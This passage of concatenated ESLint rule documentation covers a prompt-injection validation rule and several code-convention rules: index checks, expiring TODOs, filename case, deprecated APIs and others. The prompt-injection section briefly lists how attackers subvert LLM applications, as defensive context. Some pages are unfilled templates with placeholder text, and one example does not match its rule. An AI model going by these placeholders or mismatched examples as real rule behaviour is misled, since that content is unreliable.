rules: { 'vercel-ai-security/require-validated-prompt': ['error', { validatorFunctions: ['validateInput', 'sanitizePrompt', 'cleanUserInput'], userInputPatterns: ['userQuery', 'chatMessage'], allowInTests: true }] } } ``` ## 🛡️ Why This Matters [#️-why-this-matters] Prompt injection is the #1 security risk for LLM applications according to OWASP. Attackers can: * Override system instructions * Extract sensitive information * Manipulate AI behavior * Bypass content filters ## 🔗 Related Rules [#-related-rules] * [`no-sensitive-in-prompt`](./no-sensitive-in-prompt.md) - Prevent sensitive data in prompts * [`no-dynamic-system-prompt`](./no-dynamic-system-prompt.md) - Prevent dynamic system prompts ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Custom Variable Names [#custom-variable-names] **Why**: Only configured pattern names trigger detection. ```typescript // ❌ NOT DETECTED - Custom variable name const clientQuestion = getClientQuestion(); // Not in userInputPatterns await generateText({ prompt: clientQuestion }); ``` **Mitigation**: Configure `userInputPatterns` with custom names. ### Validated but Incorrectly [#validated-but-incorrectly] **Why**: Validation function quality is not assessed. > *Awaiting a tested example. The previous snippet was removed because the rule does not behave as the doc claimed; track the regression in [`benchmarks/FP_FN_REMEDIATION_TRACKER.md`](../../../../benchmarks/FP_FN_REMEDIATION_TRACKER.md).* **Mitigation**: Review validation functions. Use proper sanitization. ### Input from External Module [#input-from-external-module] **Why**: Imported values are not traced. ```typescript // ❌ NOT DETECTED - Input from module import { getUserPrompt } from './user-input'; await generateText({ prompt: getUserPrompt() }); // May be unvalidated ``` **Mitigation**: Apply rule to input modules. ### Nested Object Properties [#nested-object-properties] **Why**: Deep property access may not match patterns. ```typescript // ❌ NOT DETECTED - Nested user input await generateText({ prompt: req.body.chat.message.text }); ``` **Mitigation**: Configure patterns for nested structures. ### Dynamic Prompt Construction [#dynamic-prompt-construction] **Why**: Runtime-built prompts are not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic construction const parts = [userInput, context]; await generateText({ prompt: parts.join(' ') }); ``` **Mitigation**: Validate all parts before joining. ## 📚 References [#-references] * [OWASP LLM01: Prompt Injection](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-74: Improper Neutralization](https://cwe.mitre.org/data/definitions/74.html) * [Vercel AI SDK Security](https://sdk.vercel.ai/docs) # consistent-existence-index-check Enforce consistent style for checking if an element exists in an array. This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions). ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | --------------------------------------------- | | **Severity** | Warning (code quality) | | **Auto-Fix** | ✅ Yes (converts pattern) | | **Category** | Quality | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Code consistency, modern JavaScript practices | ## Rule Details [#rule-details] Prefer `includes()` over `indexOf() !== -1` for existence checks. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------ | ----------------------------- | --------------------- | | 📖 **Readability** | `!== -1` is less clear | Use includes() | | 🎯 **Intent** | indexOf suggests index needed | Clear existence check | | 🔄 **Consistency** | Mixed patterns in codebase | Standardize | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript obj.hasOwnProperty("key") ``` ### ✅ Correct [#-correct] ```typescript if (array.includes(item)) { } if (string.includes(substring)) { } // indexOf is fine when you need the actual index const index = array.indexOf(item); if (index !== -1) { array.splice(index, 1); // Using the index } ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript { rules: { 'conventions/consistent-existence-index-check': 'warn' } } ``` ## Related Rules [#related-rules] * [`prefer-at`](./prefer-at.md) - Modern array access ## Further Reading [#further-reading] * **[Array.includes() - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)** - MDN reference ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # expiring-todo-comments Add expiration conditions to TODO comments to prevent forgotten tasks. This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions) and provides LLM-optimized error messages. ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | --------------------------------------------------------- | | **Severity** | Warning (code quality) | | **Auto-Fix** | ❌ No (requires addressing the TODO) | | **Category** | Quality | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Teams tracking technical debt, version-based deprecations | ## Rule Details [#rule-details] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Find TODO/FIXME"] --> B{"Has Condition?"} B -->|❌ No| C["✅ Pass - Regular TODO"] B -->|✅ Yes| D{"Valid Format?"} D -->|❌ No| E["❌ Invalid Condition"] D -->|✅ Yes| F{"Condition Expired?"} F -->|❌ No| C F -->|✅ Yes| G["⚠️ Report: Address TODO"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px,color:#1f2937 class A startNode class E,G errorNode class C processNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------------- | ---------------------------- | ------------------------ | | 📅 **Forgotten TODOs** | Technical debt accumulates | Add expiration dates | | 🔄 **Version Migration** | Old workarounds stay | Version-based conditions | | 📦 **Dependency Updates** | Polyfills become unnecessary | Package-based conditions | | ⏰ **Deadline Tracking** | Tasks slip through reviews | Date-based conditions | ## Configuration [#configuration] | Option | Type | Default | Description | | ------------ | ---------- | -------------------------- | ---------------------------- | | `terms` | `string[]` | `['TODO', 'FIXME', 'XXX']` | Terms to check for | | `dateFormat` | `string` | `'YYYY-MM-DD'` | Date format for expiry dates | ## Condition Types [#condition-types] | Condition Type | Format | Example | | ------------------- | --------------------------- | ------------------------------------- | | **Date** | `[YYYY-MM-DD]` | `TODO [2025-01-01]: Remove this` | | **Package Version** | `[>=X.Y.Z]` | `TODO [>=2.0.0]: Use new API` | | **Engine Version** | `[engine:node@>=X]` | `TODO [engine:node@>=20]: Use fetch` | | **Dependency** | `[+package]` / `[-package]` | `TODO [+lodash]: Replace with lodash` | ## Examples [#examples] ### ❌ Expired (Will Report) [#-expired-will-report] ```typescript // Date-based expiration (if current date >= 2024-12-01) // TODO [2024-12-01]: Remove deprecated API call fetchLegacyData(); // Version-based expiration (if package.json version >= 2.0.0) // FIXME [>=2.0.0]: Migrate to new authentication system useOldAuth(); // Engine-based expiration (if node >= 20) // TODO [engine:node@>=20]: Replace node-fetch with native fetch import fetch from 'node-fetch'; // Dependency-based (if lodash is installed) // TODO [+lodash]: Use _.debounce instead function debounce() { /* custom impl */ } ``` ### ✅ Not Yet Expired [#-not-yet-expired] ```typescript // Future date // TODO [2030-01-01]: Consider removing this feature legacyFeature(); // Future version // FIXME [>=10.0.0]: This will need updating currentImplementation(); ``` ### ❌ Invalid Format [#-invalid-format] ```typescript // Missing brackets // TODO 2024-12-01: Fix this // ❌ Invalid // Wrong date format // TODO [12/01/2024]: Fix this // ❌ Invalid // Multiple conditions // TODO [2024-01-01, >=2.0.0]: Fix this // ❌ Invalid ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript { rules: { 'conventions/expiring-todo-comments': 'warn' } } ``` ### Custom Terms [#custom-terms] ```javascript { rules: { 'conventions/expiring-todo-comments': ['warn', { terms: ['TODO', 'FIXME', 'XXX', 'HACK', 'BUG'] }] } } ``` ### Strict Mode [#strict-mode] ```javascript { rules: { 'conventions/expiring-todo-comments': ['error', { terms: ['TODO', 'FIXME'] }] } } ``` ## Use Cases [#use-cases] ### Version Migrations [#version-migrations] ```typescript // When you're waiting for a major version to remove compatibility code // TODO [>=3.0.0]: Remove React 17 compatibility layer if (React.version.startsWith('17')) { // legacy code } ``` ### Node.js Feature Adoption [#nodejs-feature-adoption] ```typescript // Waiting for minimum Node version in CI // TODO [engine:node@>=18]: Use native fetch instead of node-fetch import fetch from 'node-fetch'; // TODO [engine:node@>=20]: Use native test runner import { describe, it } from 'node:test'; ``` ### Scheduled Deprecations [#scheduled-deprecations] ```typescript // Time-boxed technical debt // TODO [2025-06-01]: Remove this after Q2 migration function legacyApiHandler() { } ``` ### Dependency Additions [#dependency-additions] ```typescript // Waiting for a package to be added // TODO [+zod]: Replace with zod validation function validateManually(data: unknown) { } ``` ## When Not To Use [#when-not-to-use] | Scenario | Recommendation | | ----------------------- | ---------------------------------------- | | 📝 **Regular TODOs** | This rule only affects conditional TODOs | | 🔄 **No release cycle** | Date conditions work without versions | | 🧪 **Prototyping** | Disable during rapid development | ## Comparison with Alternatives [#comparison-with-alternatives] | Feature | expiring-todo-comments | unicorn rule | Manual tracking | | ---------------------- | ---------------------- | ------------ | --------------- | | **Date conditions** | ✅ Yes | ✅ Yes | ❌ No | | **Version conditions** | ✅ Yes | ✅ Yes | ❌ No | | **Engine conditions** | ✅ Yes | ✅ Yes | ❌ No | | **LLM-Optimized** | ✅ Yes | ❌ No | ❌ No | | **ESLint MCP** | ✅ Optimized | ❌ No | ❌ No | ## Related Rules [#related-rules] * [`no-commented-code`](./no-commented-code.md) - Prevents commented-out code * [`cognitive-complexity`](./cognitive-complexity.md) - Code complexity limits ## Further Reading [#further-reading] * **[unicorn expiring-todo-comments](https://github.com/sindresorhus/eslint-plugin-unicorn/blob/main/docs/rules/expiring-todo-comments.md)** - Unicorn implementation * **[Managing Technical Debt](https://martinfowler.com/bliki/TechnicalDebt.html)** - Martin Fowler on tech debt * **[ESLint MCP Setup](https://eslint.org/docs/latest/use/mcp)** - Enable AI assistant integration ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # filename-case Enforce filename case conventions for consistency across your codebase. This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions) and provides LLM-optimized error messages with fix suggestions. ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | ----------------------------------------------------------------- | | **Severity** | Warning (code quality) | | **Auto-Fix** | 💡 Suggests fixes (requires manual file rename) | | **Category** | Quality | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Teams wanting consistent filename conventions across the codebase | ## Rule Details [#rule-details] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Check Filename"] --> B{"Case Type?"} B -->|kebab-case| C["Check kebab pattern"] B -->|camelCase| D["Check camel pattern"] B -->|PascalCase| E["Check pascal pattern"] B -->|snake_case| F["Check snake pattern"] C --> G{"Matches?"} D --> G E --> G F --> G G -->|✅ Yes| H["Pass"] G -->|❌ No| I["Report with suggestion"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px,color:#1f2937 class A startNode class I errorNode class H processNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------- | ------------------------------- | ------------------------- | | 🎨 **Consistency** | Mixed naming styles in codebase | Enforce single convention | | 📁 **Discoverability** | Hard to find files | Predictable naming | | 🔄 **Cross-platform** | Case sensitivity issues | Use lowercase conventions | | 🤝 **Team Alignment** | Disagreements on style | Automated enforcement | ## Configuration [#configuration] | Option | Type | Default | Description | | ----------------------- | ---------- | ----------------------------------------- | -------------------------------------------------------------------- | | `case` | `string` | `'kebabCase'` | Case convention: `camelCase`, `kebabCase`, `pascalCase`, `snakeCase` | | `ignore` | `array` | `[]` | Patterns to ignore completely | | `allowedUppercaseFiles` | `string[]` | `['README', 'LICENSE', 'CHANGELOG', ...]` | Uppercase filenames allowed without extension | | `allowedKebabCase` | `string[]` | `[]` | Specific files allowed to use kebab-case | | `allowedSnakeCase` | `string[]` | `[]` | Specific files allowed to use snake\_case | | `allowedCamelCase` | `string[]` | `[]` | Specific files allowed to use camelCase | | `allowedPascalCase` | `string[]` | `[]` | Specific files allowed to use PascalCase | ### Case Style Reference [#case-style-reference] | Case Style | Pattern | Example | | ------------ | ----------------- | ----------------- | | `kebabCase` | `lowercase-words` | `user-service.ts` | | `camelCase` | `camelCaseWords` | `userService.ts` | | `PascalCase` | `PascalCaseWords` | `UserService.ts` | | `snake_case` | `lowercase_words` | `user_service.ts` | ## Examples [#examples] ### ❌ Incorrect (with `kebabCase`) [#-incorrect-with-kebabcase] ``` src/ UserService.ts ❌ Should be user-service.ts myComponent.tsx ❌ Should be my-component.tsx API_Handler.ts ❌ Should be api-handler.ts ``` ### ✅ Correct (with `kebabCase`) [#-correct-with-kebabcase] > *Awaiting a tested example. The previous snippet was removed because the rule does not behave as the doc claimed; track the regression in [`benchmarks/FP_FN_REMEDIATION_TRACKER.md`](../../../../benchmarks/FP_FN_REMEDIATION_TRACKER.md).* ## Configuration Examples [#configuration-examples] ### Basic Usage (Default kebab-case) [#basic-usage-default-kebab-case] ```javascript { rules: { 'conventions/filename-case': 'error' } } ``` ### PascalCase for React Components [#pascalcase-for-react-components] ```javascript { rules: { 'conventions/filename-case': ['error', { case: 'pascalCase', allowedKebabCase: ['index', 'main'] }] } } ``` ### Mixed Convention with Overrides [#mixed-convention-with-overrides] ```javascript { rules: { 'conventions/filename-case': ['error', { case: 'kebabCase', allowedPascalCase: ['App', 'Button', 'Modal'], // React components allowedSnakeCase: ['db_migrations'], // Legacy ignore: [/\.config\./] // Config files }] } } ``` ### Disable Default Uppercase Files [#disable-default-uppercase-files] ```javascript { rules: { 'conventions/filename-case': ['error', { case: 'kebabCase', allowedUppercaseFiles: [] // Disable all uppercase exceptions }] } } ``` ## When Not To Use [#when-not-to-use] | Scenario | Recommendation | | ----------------------- | --------------------------------------------------- | | 🏛️ **Legacy codebase** | Use `ignore` for existing files | | ⚛️ **React components** | Consider `pascalCase` or add to `allowedPascalCase` | | 🧪 **Test files** | Usually follows source file convention | | 📦 **Generated files** | Add to `ignore` patterns | ## Comparison with Alternatives [#comparison-with-alternatives] | Feature | filename-case | eslint-plugin-unicorn | Manual enforcement | | --------------------- | ------------- | --------------------- | ------------------ | | **Multiple cases** | ✅ 4 options | ✅ Yes | ❌ No | | **Per-file override** | ✅ Flexible | ⚠️ Limited | ❌ No | | **LLM-Optimized** | ✅ Yes | ❌ No | ❌ No | | **ESLint MCP** | ✅ Optimized | ❌ No | ❌ No | ## Related Rules [#related-rules] * [`enforce-naming`](./enforce-naming.md) - Enforces domain-specific naming conventions * [`no-internal-modules`](./no-internal-modules.md) - Enforces module boundaries ## Further Reading [#further-reading] * **[Naming Conventions](https://google.github.io/styleguide/tsguide.html#naming-style)** - Google TypeScript Style Guide * **[eslint-plugin-unicorn filename-case](https://github.com/sindresorhus/eslint-plugin-unicorn/blob/main/docs/rules/filename-case.md)** - Unicorn's implementation * **[ESLint MCP Setup](https://eslint.org/docs/latest/use/mcp)** - Enable AI assistant integration ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # Rules Team-specific disciplinary patterns and code conventions. ## All Rules [#all-rules] # no-commented-code ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | -------------------------------------- | | **Severity** | Error (code quality) | | **Auto-Fix** | ❌ No | | **Category** | Quality | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Production applications | | **Suggestions** | ✅ 3 available | ## Rule Details [#rule-details] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Detect no commented code"] --> B{"Valid pattern?"} B -->|❌ No| C["🚨 Report violation"] B -->|✅ Yes| D["✅ Pass"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 class A startNode class C errorNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------------- | ----------------- | -------------------- | | 🔒 **Security/Code Quality** | \[Specific issue] | \[Solution approach] | | 🐛 **Maintainability** | \[Impact] | \[Fix] | | ⚡ **Performance** | \[Impact] | \[Optimization] | ## Configuration [#configuration] **No configuration options available.** ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Example of incorrect usage ``` ### ✅ Correct [#-correct] ```typescript // Example of correct usage ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript // eslint.config.mjs export default [ { rules: { 'conventions/no-commented-code': 'error', }, }, ]; ``` ## LLM-Optimized Output [#llm-optimized-output] ``` 🚨 no commented code | Description | MEDIUM Fix: Suggestion | Reference ``` ## Related Rules [#related-rules] * [`rule-name`](./rule-name.md) - Description ## Further Reading [#further-reading] * **[Reference](https://example.com)** - Description ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Wrapped or Aliased Functions [#wrapped-or-aliased-functions] **Why**: Custom wrapper functions or aliased methods are not recognized by the rule. ```typescript // ❌ NOT DETECTED - Custom wrapper function myWrapper(data) { return internalApi(data); // Wrapper not analyzed } myWrapper(unsafeInput); ``` **Mitigation**: Apply this rule's principles to wrapper function implementations. Avoid aliasing security-sensitive functions. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # no-console-spaces Disallow leading/trailing whitespace in console arguments. This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions). ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | ---------------------------------------- | | **Severity** | Warning (code quality) | | **Auto-Fix** | ✅ Yes (removes extra spaces) | | **Category** | Development | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Clean console output, consistent logging | ## Rule Details [#rule-details] Console methods automatically add spaces between arguments, so leading/trailing spaces in strings are redundant. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | -------------------- | -------------------- | ----------------------- | | 📝 **Double spaces** | Inconsistent output | Remove redundant spaces | | 🔍 **Log parsing** | Affects log analysis | Clean formatting | | 📖 **Readability** | Cluttered logs | Trim strings | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Leading/trailing spaces are redundant console.log('Value: ', value); // Double space in output console.log(value, ' items'); // Double space in output console.log(' Debug: ', data); // Leading space unnecessary ``` ### ✅ Correct [#-correct] ```typescript console.log("hello", "world"); ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript { rules: { 'conventions/no-console-spaces': 'warn' } } ``` ## Related Rules [#related-rules] * [`no-console-log`](./no-console-log.md) - Console logging control ## Further Reading [#further-reading] * **[Console API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Console)** - Console reference ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Wrapped or Aliased Functions [#wrapped-or-aliased-functions] **Why**: Custom wrapper functions or aliased methods are not recognized by the rule. ```typescript // ❌ NOT DETECTED - Custom wrapper function myWrapper(data) { return internalApi(data); // Wrapper not analyzed } myWrapper(unsafeInput); ``` **Mitigation**: Apply this rule's principles to wrapper function implementations. Avoid aliasing security-sensitive functions. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # no-deprecated-api Prevent usage of deprecated APIs with migration context and timeline. This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions) and provides LLM-optimized error messages with fix suggestions. **💡 Provides suggestions** | **🔧 Automatically fixable** ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-1078](https://cwe.mitre.org/data/definitions/1078.html) (Deprecated Components) | | **Severity** | Warning (maintenance best practice) | | **Auto-Fix** | ✅ Yes (suggests replacement APIs) | | **Category** | Code Maintenance | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Projects using libraries with deprecation timelines | ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ [CWE-1078](https://cwe.mitre.org/data/definitions/1078.html) OWASP:A03 CVSS:5.3 | Deprecated API detected | MEDIUM Fix: Review and apply the recommended fix | https://owasp.org/Top10/A03_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-1078](https://cwe.mitre.org/data/definitions/1078.html) [OWASP:A03](https://owasp.org/Top10/A03_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Deprecated API detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A03_2021-Injection/) | ## Rule Details [#rule-details] Enforces migration from deprecated APIs with clear timelines, replacement suggestions, and migration guides. ## Configuration [#configuration] | Option | Type | Default | Description | | ----------------------- | ----------------- | ------- | ------------------------------------ | | `apis` | `DeprecatedAPI[]` | `[]` | List of deprecated APIs | | `warnDaysBeforeRemoval` | `number` | `90` | Days before removal to start warning | ### DeprecatedAPI Object [#deprecatedapi-object] | Property | Type | Required | Description | | ----------------- | -------- | -------- | ----------------------------- | | `name` | `string` | Yes | Deprecated API name | | `replacement` | `string` | Yes | Replacement API | | `deprecatedSince` | `string` | Yes | ISO date when deprecated | | `removalDate` | `string` | No | ISO date when will be removed | | `reason` | `string` | Yes | Why it's deprecated | | `migrationGuide` | `string` | No | URL to migration guide | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] > *Awaiting a tested example. The previous snippet was removed because the rule does not behave as the doc claimed; track the regression in [`benchmarks/FP_FN_REMEDIATION_TRACKER.md`](../../../../benchmarks/FP_FN_REMEDIATION_TRACKER.md).* ### ✅ Correct [#-correct] ```typescript // Using replacement API import { newFunction } from 'my-library'; newFunction({ data: 'test' }); ``` ## Configuration Examples [#configuration-examples] ### Library API Deprecation [#library-api-deprecation] ```javascript { rules: { 'conventions/no-deprecated-api': ['error', { warnDaysBeforeRemoval: 90, apis: [ { name: 'oldFetch', replacement: 'newFetch', deprecatedSince: '2024-01-01', removalDate: '2024-12-31', reason: 'Security improvements and better error handling', migrationGuide: 'https://docs.example.com/migration/fetch' }, { name: 'legacyAuth', replacement: 'modernAuth', deprecatedSince: '2024-06-01', removalDate: '2025-06-01', reason: 'OAuth 2.0 compliance', migrationGuide: 'https://docs.example.com/migration/auth' } ] }] } } ``` ### Internal API Sunset [#internal-api-sunset] ```javascript { rules: { 'conventions/no-deprecated-api': ['warn', { warnDaysBeforeRemoval: 30, apis: [ { name: 'UserService', replacement: 'CustomerService', deprecatedSince: '2024-10-01', removalDate: '2024-12-31', reason: 'Renamed to match ubiquitous language', migrationGuide: 'https://wiki.internal.com/customer-service-migration' } ] }] } } ``` ## Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------- | ---------------------------------- | --------------------------- | | ⏰ **Breaking Changes** | Unexpected runtime failures | Early warnings | | 📚 **Documentation** | Developers unaware of deprecations | Clear migration guides | | 🔄 **Tech Debt** | Old code accumulates | Proactive migration | | 🛡️ **Security** | Using insecure legacy APIs | Enforce modern alternatives | ## Comparison with Alternatives [#comparison-with-alternatives] | Feature | no-deprecated-api | eslint-plugin-deprecation | TypeScript deprecation | | ----------------------- | ----------------- | ------------------------- | ---------------------- | | **Custom Deprecations** | ✅ Yes | ⚠️ Limited | ⚠️ JSDoc only | | **Timeline Support** | ✅ Yes | ❌ No | ❌ No | | **Auto-Fix** | ✅ Yes | ❌ No | ❌ No | | **LLM-Optimized** | ✅ Yes | ❌ No | ❌ No | | **ESLint MCP** | ✅ Optimized | ❌ No | ❌ No | | **Migration Guides** | ✅ Yes | ❌ No | ❌ No | ## Related Rules [#related-rules] * [`enforce-naming`](./enforce-naming.md) - Domain term enforcement * [`react-class-to-hooks`](./react-class-to-hooks.md) - React modernization * [`no-unsafe-dynamic-require`](./no-unsafe-dynamic-require.md) - Security enforcement ## Further Reading [#further-reading] * **[CWE-1078: Deprecated Components](https://cwe.mitre.org/data/definitions/1078.html)** - Official CWE entry * **[API Deprecation Best Practices](https://google.github.io/styleguide/tsguide.html#deprecation)** - Deprecation guidelines * **[ESLint MCP Setup](https://eslint.org/docs/latest/use/mcp)** - Enable AI assistant integration ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Wrapped or Aliased Functions [#wrapped-or-aliased-functions] **Why**: Custom wrapper functions or aliased methods are not recognized by the rule. ```typescript // ❌ NOT DETECTED - Custom wrapper function myWrapper(data) { return internalApi(data); // Wrapper not analyzed } myWrapper(unsafeInput); ``` **Mitigation**: Apply this rule's principles to wrapper function implementations. Avoid aliasing security-sensitive functions. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # no-json-schema-tags Disallow JSON Schema keywords (e.g. `@minimum`, `@maximum`, `@pattern`, `@format`) used as JSDoc tags. These keywords are valid in OpenAPI / JSON Schema documents but not in JSDoc; they fail in projects with strict tag validation (e.g. DefinitelyTyped, TSDoc-strict CI). This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions). ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | ------------------------------------------------------------------------------ | | **Severity** | Medium (Quality) | | **Auto-Fix** | 💡 Suggestions | | **Category** | Conventions | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Libraries published to npm; codebases that publish TypeScript types externally | ## Why these tags don't belong in JSDoc [#why-these-tags-dont-belong-in-jsdoc] JSDoc and TSDoc define a finite tag vocabulary (`@param`, `@returns`, `@throws`, `@deprecated`, …). JSON Schema keywords like `@minimum`, `@maximum`, `@pattern`, `@format`, `@enum`, `@items`, `@required`, `@additionalProperties` look like JSDoc tags but are not recognized by: 